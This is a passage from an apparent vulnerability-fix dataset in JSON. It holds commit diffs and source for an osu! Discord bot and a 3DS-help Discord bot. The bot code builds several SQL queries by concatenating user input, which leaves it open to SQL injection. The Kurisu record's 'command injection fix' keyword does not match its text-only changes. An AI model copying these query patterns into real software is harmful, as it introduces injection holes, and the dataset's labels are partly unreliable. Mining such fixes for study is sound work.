recomendedBeatmap[1]\n\t\t\t\tdiff_params = recomendedBeatmap[2]\n\t\t\t\tpp_100 = recomendedBeatmap[3]\n\t\t\t\tpp_95 = recomendedBeatmap[4]\n\t\t\t\tstars = recomendedBeatmap[5]\n\t\t\t\tcombo = recomendedBeatmap[6]\n\t\t\t\trecomendedId = recomendedBeatmap[7]\n\n\t\t\t\talreadyRecomendedId += \",\" + str(recomendedId)\n\n\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = '\" + alreadyRecomendedId + \"' where DiscordId = '\" + str(message.author.id) + \"'\")\n\t\t\t\tconn.commit()\n\t\t\t\tconn.close()\n\n\t\t\t\tpp_98, _, _, _, _ = return_simple_beatmap_info(url, \" 98%\")\n\n\t\t\t\tdescription = \"__100% pp__ : \" + str(pp_100) + \"\\n\" + \"__98% pp__ : \" + str(pp_98) + \"\\n\" + \"__95% pp__ : \" + str(pp_95) + \"\\n\" + \"__Max Combo__ : \" + str(combo) + \"\\n\" + \"__Stars__ : \" + str(stars) + \"\\n\" + str(\"*\" + diff_params.upper() + \"*\")\n\t\t\t\tem = discord.Embed(title=str(name), description=description, colour=0xf44242, url=url)\n\t\t\t\tawait client.send_message(channel, embed=em)\n\t\t\t\tprint (recomendedBeatmap)\n\t\telse:\n\t\t\tawait client.send_message(channel, \"Uhh sorry, seems like you haven't linked your osu! account...\\nPlease use the command *\" + commandPrefix + \"link_user 'Your osu username' or 'your osu Id'* to link the bot to your osu account !\\nEx. \" + commandPrefix + \"link_user Renondedju\")\n\n\tif message.content.startswith(commandPrefix + 'add_beatmap') and (rank in ['ADMIN', 'MASTER']):\n\t\tif (message.content.replace(commandPrefix + \"add_beatmap \", \"\") == \"\" or not(message.content.replace(commandPrefix + \"add_beatmap \", \"\")[0:19] == \"https://osu.ppy.sh/\")):\n\t\t\tawait client.send_message(message.channel, \"Invalid url !\")\n\t\telse:\n\t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(message.content.replace(commandPrefix + \"add_beatmap \", \"\"))\n\t\t\tconn = sqlite3.connect(databasePath)\n\t\t\tcursor = conn.cursor()\n\t\t\ttry:\n\t\t\t\tcursor.execute(\"\"\"INSERT INTO \"beatmaps\" (url, name, diff_params, pp_100, pp_95, stars, combo, id) VALUES(?, ?, ?, ?, ?, ?, ?, ?)\"\"\", (message.content.replace(commandPrefix + \"add_beatmap \", \"\"), name, diff_params, pp_100, pp_95, stars, combo, message.content.replace(commandPrefix + \"add_beatmap \", \"\").replace(\"https://osu.ppy.sh/b/\", \"\").replace(\"&m=0\", \"\")))\n\t\t\t\tconn.commit()\n\t\t\t\tconn.close()\n\t\t\t\tawait client.send_message(message.channel, \"Addition done !\")\n\t\t\texcept sqlite3.IntegrityError:\n\t\t\t\tawait client.send_message(message.channel, \"This map is already in the Database !\")\n\t\n\tif message.content.startswith(commandPrefix + 'add_beats') and (rank in ['MASTER']):\n\n\t\tif str(message.author.id) == constants.Settings.ownerDiscordId:\n\n\t\t\tawait client.send_message(logsChannel, Log(str(message.author), message.content, 0))\n\n\t\t\tbeatmapfile = open(message.content.replace(commandPrefix + 'add_beats ', \"\"), \"r\")\n\t\t\tbeatmapToProcess = beatmapfile.read().split('\\n')\n\t\t\tawait client.send_message(message.channel, \"<:streaming:317951088646946826> Starting the import of \" + str(len(beatmapToProcess)) + \" beatmaps\")\n\t\t\tawait asyncio.sleep(0.1)\n\t\t\tawait client.change_presence(status=discord.Status('dnd'), game=discord.Game(name='Processing ...'))\n\n\t\t\tconn = sqlite3.connect(databasePath)\n\n\t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"Ready to add \" + str(len(beatmapToProcess)) + \" beatmaps to the Database\", 1))\n\n\t\t\tcursor = conn.cursor()\n\t\t\tprocessed = 1\n\t\t\tdone = 0\n\t\t\tinfoError = 0\n\t\t\talreadyExists = 0\n\t\t\tfor beatmapUrl in beatmapToProcess:\n\n\t\t\t\tprint (\"Processing \" + beatmapUrl + \" - \" + str(processed) + \"/\" + str(len(beatmapToProcess)), end=\"\")\n\t\t\t\tcursor.execute(\"select url from beatmaps where url = '\" + beatmapUrl + \"'\")\n\t\t\t\tif len(cursor.fetchall()) == 0:\n\t\t\t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(beatmapUrl, \"\")\n\t\t\t\t\tif not (pp_100 == -1):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tcursor.execute(\"\"\"INSERT INTO \"beatmaps\" (url, name, diff_params, pp_100, pp_95, stars, combo, id) VALUES(?, ?, ?, ?, ?, ?, ?, ?)\"\"\", (beatmapUrl, name, diff_params, pp_100, pp_95, stars, combo, beatmapUrl.replace(\"https://osu.ppy.sh/b/\", \"\").replace(\"&m=0\", \"\")))\n\t\t\t\t\t\t\tconn.commit()\n\t\t\t\t\t\t\tprint (\" - Done\")\n\t\t\t\t\t\t\tawait client.send_message(logsChannel, \"<:check:317951246084341761> \" + beatmapUrl + \" ( \"+str(processed) + \"/\" + str(len(beatmapToProcess)) +\" ) - Done\")\n\t\t\t\t\t\t\tdone += 1\n\t\t\t\t\t\texcept sqlite3.IntegrityError:\n\t\t\t\t\t\t\tprint (\" - Can't get beatmap infos !\")\n\t\t\t\t\t\t\tawait client.send_message(logsChannel, \"<:xmark:317951256889131008> \" + beatmapUrl + \" ( \"+str(processed) + \"/\" + str(len(beatmapToProcess)) +\" ) - Can't get beatmap infos !\")\n\t\t\t\t\t\t\tinfoError += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint (\" - Can't get beatmap infos !\")\n\t\t\t\t\t\tawait client.send_message(logsChannel, \"<:xmark:317951256889131008> \" + beatmapUrl + \" ( \"+str(processed) + \"/\" + str(len(beatmapToProcess)) +\" ) - Can't get beatmap infos !\")\n\t\t\t\t\t\tinfoError += 1\n\t\t\t\telse:\n\t\t\t\t\tprint (\" - Already exists\")\n\t\t\t\t\tawait client.send_message(logsChannel, \"<:xmark:317951256889131008> \" + beatmapUrl + \" ( \"+str(processed) + \"/\" + str(len(beatmapToProcess)) +\" ) - Already exists\")\n\t\t\t\t\talreadyExists += 1\n\t\t\t\tprocessed += 1\n\t\t\tconn.close()\n\n\t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"Successfuly added \" + str(len(beatmapToProcess)) + \" beatmaps to the database\", 1))\n\t\t\tawait client.send_message(message.channel, \"<:online:317951041838514179> Back online ! - __Done :__ \" + str(done) + \" , __InfoError :__ \" + str(infoError) + \" , __Already exists :__ \" + str(alreadyExists))\n\t\t\tawait asyncio.sleep(0.1)\n\t\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !'))\n\n\t\telse:\n\t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"tried to add multiple beatmaps\", 1))\n\t\t\tawait client.send_message(message.channel, \"Sorry, Only Renondedju can do this !\")\n\n\tif message.content.startswith(commandPrefix + 'mute') and (rank in ['USER', 'ADMIN', 'MASTER']) and (message.channel.permissions_for(message.author).administrator == True or str(message.author) == \"Renondedju#0204\"):\n\t\tif not (message.server.id == None):\n\t\t\tconn = sqlite3.connect(databasePath)\n\t\t\tcursor = conn.cursor()\n\t\t\ttry :\n\t\t\t\tparameter = message.content.split(' ')[1]\n\t\t\texcept:\n\t\t\t\tparameter = ''\n\t\t\tif parameter.lower() in ['on', 'off']:\n\t\t\t\tparameter = parameter.lower()\n\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = \" + str(message.server.id))\n\t\t\t\tif len(cursor.fetchall()) == 0:\n\t\t\t\t\tcursor.execute(\"INSERT INTO muted (serverID, state) VALUES (?, ?)\", (message.server.id, parameter))\n\t\t\t\telse:\n\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = '\" + parameter + \"' WHERE serverID = \" + str(message.server.id))\n\t\t\t\tawait client.send_message(message.channel, \"Done !\")\n\t\t\t\tconn.commit()\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel, \"Wrong argument (expected 'on' or 'off')\")\n\t\t\tconn.close()\n\t\telse:\n\t\t\tawait client.send_message(message.channel, \"You can't execute this command here (servers only)\")\n\n\tif message.content.startswith(commandPrefix + 'pp') and (rank in ['USER', 'ADMIN', 'MASTER']):\n\t\tparameters = message.content.replace(commandPrefix + \"pp \", \"\")\n\t\turl = parameters.split(\" \")[0]\n\t\ttry:\n\t\t\toppaiParameters = parameters.split(\" \")[1:len(parameters.split(\" \"))]\n\t\t\toppaiParameters = \" \".join(str(x) for x in oppaiParameters)\n\t\texcept IndexError:\n\t\t\toppaiParameters = \"\"\n\n\t\tif (parameters == \"\" or not(url[0:19] == \"https://osu.ppy.sh/\")):\n\t\t\tawait client.send_message(channel, \"Invalid url !\")\n\t\telse:\n\t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(url, oppaiParameters)\n\t\t\t\n\t\t\tif not(pp_100 == -1):\n\n\t\t\t\tadd_beatmap_to_queue(url)\n\t\t\t\tawait client.send_message(client.get_server(\"310348632094146570\").get_channel(\"315166181256593418\"), Log(str(client.user.name), \"Added \" + url + \" to beatmap queue\", 0))\n\t\t\t\tdescription = \"__100% pp__ : \" + str(pp_100) + \"\\n\" + \"__95% pp__ : \" + str(pp_95) + \"\\n\" + \"__combo max__ : \" + str(combo) + \"\\n\" + \"__stars__ : \" + str(stars) + \"\\n\" + str(\"*\" + diff_params + \"*\")\n\t\t\t\tem = discord.Embed(title=str(name), description=description, colour=0xf44242)\n\t\t\t\tawait client.send_message(channel, embed=em)\n\t\t\telse:\n\t\t\t\tawait client.send_message(channel, \"Can't get beatmap info...\")\n\n\tif message.content.startswith(commandPrefix + 'kill') and (rank in ['MASTER']):\n\t\tif str(message.author.id) == constants.Settings.ownerDiscordId:\n\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Killing the bot !\", 0))\n\t\t\tawait client.send_message(message.channel, \"Alright, killing myself ... bye everyone !\")\n\t\t\tclient.logout()\n\t\t\tclient.close()\n\t\t\tsys.exit(\"Bot has been shutdown by command correctly !\")\n\t\telse:\n\t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"tried to kill the bot !\", 1))\n\t\t\tawait client.send_message(message.channel, \"Sorry, Only Renondedju can do this !\")\n\n\tif message.content.startswith(commandPrefix + 'user') and (rank in ['USER', 'ADMIN', 'MASTER']):\n\t\tparameters = message.content.split(' ')\n\t\tresults = api.get_user(parameters[1])\n\t\tif results == []:\n\t\t\tresults = api.get_user(int(parameters[1]))\n\t\tstats = []\n\t\tif not (results == []):\n\t\t\tfor item in results[0]:\n\t\t\t\tstats.append(item)\n\t\t\tdescription = \"Accuracy: \" + str(stats[0][1])[0:4] + \"\\npp: \" + str(stats[13][1]) + \"\\nCountry: \" + stats[7][1] + \"\\nLevel: \" + str(stats[9][1])[0:4] + \"\\nPlays: \" + str(stats[10][1]) + \"\\nRank: \" + str(stats[12][1]) + \"\\nCountry rank: \" + str(stats[11][1])\n\t\t\tem = discord.Embed(title=str(stats[17][1]), description=description, colour=0xf44242, url=\"https://new.ppy.sh/u/\" + str(stats[16][1]) + \"#osu\").set_footer(text=\"https://new.ppy.sh/u/\" + str(stats[16][1]) + \"#osu\")\n\t\t\tawait client.send_message(channel, embed=em)\n\t\telse:\n\t\t\tawait client.send_message(channel, \"User not found!\")\n\n\tif message.content.startswith(commandPrefix + 'link_user') and (rank in ['USER', 'ADMIN', 'MASTER']):\n\t\tparameters = message.content.replace(commandPrefix + 'link_user ', '')\n\t\ttry:\n\t\t\tresults = api.get_user(parameters)\n\t\t\tif results == []:\n\t\t\t\tresults = api.get_user(int(parameters))\n\t\t\t\tprint(results)\n\t\texcept IndexError:\n\t\t\tawait client.send_message(channel, \"Something went wrong ...\")\n\n\t\tstats = []\n\t\tif not (results == []):\n\t\t\tfor item in results[0]:\n\t\t\t\tstats.append(item)\n\t\t\tosuId = stats[16][1]\n\t\t\tosuUsername = stats[17][1]\n\t\t\tuserDiscordId = int(message.author.id)\n\t\t\toperationDone = link_user(userDiscordId, osuUsername, osuId, \"USER\")\n\t\t\tdescription = \"Accuracy: \" + str(stats[0][1])[0:4] + \"\\npp: \" + str(stats[13][1]) + \"\\nCountry: \" + stats[7][1] + \"\\nLevel: \" + str(stats[9][1])[0:4] + \"\\nPlays: \" + str(stats[10][1]) + \"\\nRank: \" + str(stats[12][1]) + \"\\nCountry rank: \" + str(stats[11][1])\n\t\t\tem = discord.Embed(title=str(stats[17][1]), description=description, colour=0xf44242, url=\"https://new.ppy.sh/u/\" + str(stats[16][1]) + \"#osu\").set_footer(text=\"https://new.ppy.sh/u/\" + str(stats[16][1]) + \"#osu\")\n\n\t\t\tawait client.send_message(channel, \"Your account has been successfuly \" + operationDone + \" to \")\n\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Your account has been successfuly \" + operationDone + \" to osu! username '\" + stats[17][1] + \"'\", 0))\n\t\t\tawait client.send_message(channel, embed=em)\n\t\t\tif operationDone == \"linked\":\n\t\t\t\tawait client.send_message(channel, \"Please wait while I'm updating your stats ...\")\n\n\t\t\t\tif update_pp_stats(osuId, message.author.id) == 0:\n\t\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Successfuly updated \" + str(message.author) + \"'s pp stats\", 0))\n\t\t\t\t\tawait client.send_message(channel, \"Successfuly updated \" + str(message.author) + \"'s pp stats\")\n\n\t\t\t\telse:\n\t\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Unexpected error for \" + str(message.author), 2))\n\t\t\t\t\tawait client.send_message(channel, \"Unexpected error, please try again later or contact Renondedju for more help\")\n\t\telse:\n\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"User not found\", 0))\n\t\t\tawait client.send_message(channel, \"User not found!\")\n\n\tif message.content.startswith(commandPrefix + 'update_pp_stats') and (rank in ['USER', 'ADMIN', 'MASTER']):\n\t\tconn = sqlite3.connect(databasePath)\n\t\tcursor = conn.cursor()\n\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = \" + str(message.author.id))\n\t\tosuId = cursor.fetchall()[0][0]\n\t\tconn.close()\n\t\tif not (osuId == None):\n\t\t\tresult = update_pp_stats(osuId, message.author.id)\n\t\t\tif result == 0:\n\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Succesfuly updated \" + str(message.author) + \"'s pp stats\", 0))\n\t\t\t\tawait client.send_message(channel, \"Succesfuly updated \" + str(message.author) + \"'s pp stats\")\n\t\t\telif result == 1:\n\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Wrong osu! id for \" + str(message.author), 1))\n\t\t\t\tawait client.send_message(channel, \"Wrong osu! id for \" + str(message.author) + \". Try to link your account with an osu! account by typing the command *\" + commandPrefix + \"link_user 'Your osu username'*\")\n\t\t\telif result == 2:\n\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Unexpected error for \" + str(message.author), 2))\n\t\t\t\tawait client.send_message(channel, \"Unexpected error, please try again later or contact Renondedju for more help\")\n\t\telse:\n\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Wrong osu! id for \" + str(message.author), 1))\n\t\t\tawait client.send_message(channel, \"Wrong osu! id for \" + str(message.author) + \". Try to link your account with an osu account by typing the command *\" + commandPrefix + \"link_user 'Your osu username'*\")\n\n\tif message.content.startswith(commandPrefix + 'help') and (rank in ['USER', 'ADMIN', 'MASTER']):\n\t\tif rank == 'ADMIN':\n\t\t\thelpfile = open(constants.Paths.helpAdminFile, \"r\")\n\t\t\thelpString = helpfile.read()\n\t\t\thelpfile.close()\n\t\t\tawait client.send_message(channel, helpString)\n\t\telif rank == 'MASTER':\n\t\t\thelpfile = open(constants.Paths.helpMasterFile, \"r\")\n\t\t\thelpString = helpfile.read()\n\t\t\thelpfile.close()\n\t\t\tawait client.send_message(channel, helpString)\n\t\telse:\n\t\t\thelpfile = open(constants.Paths.helpUserFile, \"r\")\n\t\t\thelpString = helpfile.read()\n\t\t\thelpfile.close()\n\t\t\tawait client.send_message(channel, helpString)\n\nclient.run(constants.Api.discordToken)"}, "/Uso!bot/constants.py": {"changes": [{"diff": "\n \"\"\"\n This is a setting file created by Renondedju\n \n-Evry Api parameters written in this file are private and secret ! \n+Evry parameters written in this file are private and secret !\n \"\"\"\n \n class Api:\n", "add": 1, "remove": 1, "filename": "/Uso!bot/constants.py", "badparts": ["Evry Api parameters written in this file are private and secret ! "], "goodparts": ["Evry parameters written in this file are private and secret !"]}, {"diff": "\n \tdiscordToken = \"\" #Discord bot token (https://discordapp.com/developers/applications/me)\n \n class Paths:\n-\tworkingDirrectory = \"\" #The full path to OsuBot.py\n+\tworkingDirrectory = \"/home/pi/DiscordBots/OsuBot/\" #The full path to OsuBot.py\n \tbeatmapDatabase = workingDirrectory + \"Database.db\" #Beatmaps database full path\n \tbeatmapsDownloadsTemp = workingDirrectory + \"beatmaps/temp\" #Full path to the temporary downloads (unused)\n \tbeatmapsDownloadsPermanent = workingDirrectory + \"beatmaps/permanent\" #Full path to the permanants downloads (unused)\n", "add": 1, "remove": 1, "filename": "/Uso!bot/constants.py", "badparts": ["\tworkingDirrectory = \"\" #The full path to OsuBot.py"], "goodparts": ["\tworkingDirrectory = \"/home/pi/DiscordBots/OsuBot/\" #The full path to OsuBot.py"]}], "source": "\n \"\"\" This is a setting file created by Renondedju Evry Api parameters written in this file are private and secret ! \"\"\" class Api: \tosuApiKey=\"\" \tdiscordToken=\"\" class Paths: \tworkingDirrectory=\"\" \tbeatmapDatabase=workingDirrectory +\"Database.db\" \tbeatmapsDownloadsTemp=workingDirrectory +\"beatmaps/temp\" \tbeatmapsDownloadsPermanent=workingDirrectory +\"beatmaps/permanent\" \tmanagmentFiles=workingDirrectory +\"Managment\" \tlogsFile=workingDirrectory +\"logs.txt\" \thelpMasterFile=workingDirrectory +\"helpFiles/helpMASTER.txt\" \thelpAdminFile=workingDirrectory +\"helpFiles/helpADMIN.txt\" \thelpUserFile=workingDirrectory +\"helpFiles/helpUSER.txt\" class Settings: \tcommandPrefix=\"o!\" \tmainServerID=\"310348632094146570\" \tmainChannelId=\"310348632094146570\" \tlogsChannelId=\"315166181256593418\" \townerDiscordId=\"213262036069515264\" \tmainLang=\"en\" ", "sourceWithComments": "# -*- coding: utf-8 -*-\n\"\"\"\nThis is a setting file created by Renondedju\n\nEvry Api parameters written in this file are private and secret ! \n\"\"\"\n\nclass Api:\n\tosuApiKey = \"\" #Osu api key (can be found here : https://osu.ppy.sh/p/api#)\n\tdiscordToken = \"\" #Discord bot token (https://discordapp.com/developers/applications/me)\n\nclass Paths:\n\tworkingDirrectory = \"\" #The full path to OsuBot.py\n\tbeatmapDatabase = workingDirrectory + \"Database.db\" #Beatmaps database full path\n\tbeatmapsDownloadsTemp = workingDirrectory + \"beatmaps/temp\" #Full path to the temporary downloads (unused)\n\tbeatmapsDownloadsPermanent = workingDirrectory + \"beatmaps/permanent\" #Full path to the permanants downloads (unused)\n\tmanagmentFiles = workingDirrectory + \"Managment\" #Full path to the managment files (unused)\n\tlogsFile = workingDirrectory + \"logs.txt\" #Full path to the log file\n\thelpMasterFile = workingDirrectory + \"helpFiles/helpMASTER.txt\"\n\thelpAdminFile = workingDirrectory + \"helpFiles/helpADMIN.txt\"\n\thelpUserFile = workingDirrectory + \"helpFiles/helpUSER.txt\"\n\nclass Settings:\n\tcommandPrefix = \"o!\" #Commant prefix required to trigger the bot\n\tmainServerID = \"310348632094146570\" #Main announce server of the bot\n\tmainChannelId = \"310348632094146570\" #Main channel of the bot's server\n\tlogsChannelId = \"315166181256593418\" #Logs channel of the bot's server\n\townerDiscordId = \"213262036069515264\" #Discord Id of the bot owner\n\tmainLang = \"en\" #Main language of the bot (unused)\n"}}, "msg": "Fix - support and status command\n\nFixed a huge security issue (Sql injection)\nSupport command added\nstatus command added (only admins)"}}, "https://github.com/nh-server/Kurisu": {"c35acde42e1f957fc15bc915a2bd1fc8fc81ee4e": {"url": "https://api.github.com/repos/nh-server/Kurisu/commits/c35acde42e1f957fc15bc915a2bd1fc8fc81ee4e", "html_url": "https://github.com/nh-server/Kurisu/commit/c35acde42e1f957fc15bc915a2bd1fc8fc81ee4e", "message": "Tweaks to the assistance commands (#241)\n\n* explanation for the dsi game injection exploit\r\n\r\n* Update assistance.py\r\n\r\n* also fix the broken .twl command\r\n\r\n* hbl rewrite", "sha": "c35acde42e1f957fc15bc915a2bd1fc8fc81ee4e", "keyword": "command injection fix", "diff": "diff --git a/addons/assistance.py b/addons/assistance.py\nindex 272ced56..a1942bb3 100644\n--- a/addons/assistance.py\n+++ b/addons/assistance.py\n@@ -201,14 +201,14 @@ def __init__(self, bot):\n async def stock114(self):\n \"\"\"Advisory for consoles on stock 11.4+ firmware\"\"\"\n embed = discord.Embed(title=\"Running stock (unmodified) 11.4+ firmware?\", color=discord.Color.dark_orange())\n- embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which requires a hacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"\n+ embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which involves system transferring from a hacked 3DS to an unhacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"\n await self.bot.say(\"\", embed=embed)\n \n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def hbl(self):\n \"\"\"Get homebrew launcher working on 11.4+ firmware\"\"\"\n- await self.simple_embed(\"If you are looking for homebrew on your stock 11.4+ 3DS, you will need an entrypoint (like ninjhax, freakyhax, etc) for launching homebrew launcher\")\n+ await self.simple_embed(\"If you are looking to get access to the homebrew launcher on your unhacked 11.4+ 3DS (Not CFW or CIA installation!), then you will need an exploit like ninjhax, stickerhax or oot3dhax. \\nPlease note that all of these exploits require prior access to the homebrew launcher to install them. \\n\\nIf you want access to homebrew on 11.4+, it is recommended that you rather install CFW, as a NTRBoot compatible DS flashcart costs a lot less than a copy of Freakyforms Deluxe, Cubic Ninja or Ocarina of Time 3D.\")\n \n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n@@ -270,9 +270,9 @@ def __init__(self, bot):\n async def twl(self):\n \"\"\"Information on how to fix a broken TWL Partition\"\"\"\n embed = discord.Embed(title=\"Fix broken TWL\", color=discord.Color(0xA2BAE0))\n- embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#twl_broken\")\n+ embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#dsi--ds-functionality-is-broken-after-completing-the-guide\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n- embed.url = \"https://3ds.guide/troubleshooting#twl_broken\"\n+ embed.url = \"https://3ds.guide/troubleshooting#dsi--ds-functionality-is-broken-after-completing-the-guide\"\n embed.description = \"Instructions on how to fix a broken TWL after doing the guide\"\n await self.bot.say(\"\", embed=embed)\n \n", "files": {"/addons/assistance.py": {"changes": [{"diff": "\n async def stock114(self):\n \"\"\"Advisory for consoles on stock 11.4+ firmware\"\"\"\n embed = discord.Embed(title=\"Running stock (unmodified) 11.4+ firmware?\", color=discord.Color.dark_orange())\n- embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which requires a hacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"\n+ embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which involves system transferring from a hacked 3DS to an unhacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"\n await self.bot.say(\"\", embed=embed)\n \n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def hbl(self):\n \"\"\"Get homebrew launcher working on 11.4+ firmware\"\"\"\n- await self.simple_embed(\"If you are looking for homebrew on your stock 11.4+ 3DS, you will need an entrypoint (like ninjhax, freakyhax, etc) for launching homebrew launcher\")\n+ await self.simple_embed(\"If you are looking to get access to the homebrew launcher on your unhacked 11.4+ 3DS (Not CFW or CIA installation!), then you will need an exploit like ninjhax, stickerhax or oot3dhax. \\nPlease note that all of these exploits require prior access to the homebrew launcher to install them. \\n\\nIf you want access to homebrew on 11.4+, it is recommended that you rather install CFW, as a NTRBoot compatible DS flashcart costs a lot less than a copy of Freakyforms Deluxe, Cubic Ninja or Ocarina of Time 3D.\")\n \n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n", "add": 2, "remove": 2, "filename": "/addons/assistance.py", "badparts": [" embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which requires a hacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"", " await self.simple_embed(\"If you are looking for homebrew on your stock 11.4+ 3DS, you will need an entrypoint (like ninjhax, freakyhax, etc) for launching homebrew launcher\")"], "goodparts": [" embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which involves system transferring from a hacked 3DS to an unhacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"", " await self.simple_embed(\"If you are looking to get access to the homebrew launcher on your unhacked 11.4+ 3DS (Not CFW or CIA installation!), then you will need an exploit like ninjhax, stickerhax or oot3dhax. \\nPlease note that all of these exploits require prior access to the homebrew launcher to install them. \\n\\nIf you want access to homebrew on 11.4+, it is recommended that you rather install CFW, as a NTRBoot compatible DS flashcart costs a lot less than a copy of Freakyforms Deluxe, Cubic Ninja or Ocarina of Time 3D.\")"]}, {"diff": "\n async def twl(self):\n \"\"\"Information on how to fix a broken TWL Partition\"\"\"\n embed = discord.Embed(title=\"Fix broken TWL\", color=discord.Color(0xA2BAE0))\n- embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#twl_broken\")\n+ embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#dsi--ds-functionality-is-broken-after-completing-the-guide\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n- embed.url = \"https://3ds.guide/troubleshooting#twl_broken\"\n+ embed.url = \"https://3ds.guide/troubleshooting#dsi--ds-functionality-is-broken-after-completing-the-guide\"\n embed.description = \"Instructions on how to fix a broken TWL after doing the guide\"\n await self.bot.say(\"\", embed=embed)\n \n", "add": 2, "remove": 2, "filename": "/addons/assistance.py", "badparts": [" embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#twl_broken\")", " embed.url = \"https://3ds.guide/troubleshooting#twl_broken\""], "goodparts": [" embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#dsi--ds-functionality-is-broken-after-completing-the-guide\")", " embed.url = \"https://3ds.guide/troubleshooting#dsi--ds-functionality-is-broken-after-completing-the-guide\""]}], "source": "\nimport discord from discord.ext import commands from sys import argv class Assistance: \"\"\" Commands that will mostly be used in \"\"\" def __init__(self, bot): self.bot=bot print('Addon \"{}\" loaded'.format(self.__class__.__name__)) async def simple_embed(self, text, title=\"\", color=discord.Color.default()): embed=discord.Embed(title=title, color=color) embed.description=text await self.bot.say(\"\", embed=embed) @commands.command(pass_context=True, name=\"sr\", hidden=True) async def staffreq(self, ctx, *, msg_request=\"\"): \"\"\"Request staff, with optional additional text. Helpers, Staff, Verified only.\"\"\" author=ctx.message.author if(self.bot.helpers_role not in author.roles) and(self.bot.staff_role not in author.roles) and(self.bot.verified_role not in author.roles) and(self.bot.trusted_role not in author.roles): msg=\"{0} You cannot used this command at this time. Please ask individual staff members if you need help.\".format(author.mention) await self.bot.say(msg) return await self.bot.delete_message(ctx.message) msg=\"\u2757\ufe0f **Assistance requested**:{0} by{1} |{2} if msg_request !=\"\": embed=discord.Embed(color=discord.Color.gold()) embed.description=msg_request await self.bot.send_message(self.bot.mods_channel, msg, embed=(embed if msg_request !=\"\" else None)) await self.bot.send_message(author, \"\u2705 Online staff has been notified of your request in{0}.\".format(ctx.message.channel.mention), embed=(embed if msg_request !=\"\" else None)) @commands.command(pass_context=True) @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def guide(self, ctx, *, console=\"auto\"): 